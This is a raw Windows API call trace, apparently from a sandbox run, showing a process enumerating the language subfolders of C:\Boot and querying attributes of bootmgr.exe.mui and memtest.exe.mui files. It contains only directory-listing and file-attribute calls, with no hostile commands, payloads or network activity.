	[0240.225] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.225] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.225] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.225] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0240.225] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.225] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58)) returned 1
	[0240.305] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.305] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sl-SI" (normalized: "c:\\boot\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.305] CreateFileW (lpFileName="C:\\Boot\\sl-SI" (normalized: "c:\\boot\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.305] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0240.306] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.306] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.306] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.306] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0240.306] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.306] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0240.307] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.307] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS" (normalized: "c:\\boot\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.307] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS" (normalized: "c:\\boot\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.307] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.308] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.309] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.309] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0240.310] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.310] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58)) returned 1
	[0240.310] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.310] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-RS" (normalized: "c:\\boot\\sr-latn-rs"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.311] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS" (normalized: "c:\\boot\\sr-latn-rs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.311] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd4c0
	[0240.311] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.311] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.311] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.312] FindClose (in: hFindFile=0x192c63cd4c0 | out: hFindFile=0x192c63cd4c0) returned 1
	[0240.312] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.312] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0240.313] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.313] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.314] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.315] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd520
	[0240.315] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.315] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.315] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.315] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.315] FindClose (in: hFindFile=0x192c63cd520 | out: hFindFile=0x192c63cd520) returned 1
	[0240.315] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.315] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960)) returned 1
	[0240.316] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.316] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98)) returned 1
	[0240.316] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.316] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.317] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.317] VirtualAlloc (lpAddress=0xc0004d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d8000
	[0240.317] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0240.318] VirtualAlloc (lpAddress=0xc0004da000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004da000
	[0240.318] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.318] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.319] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.319] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
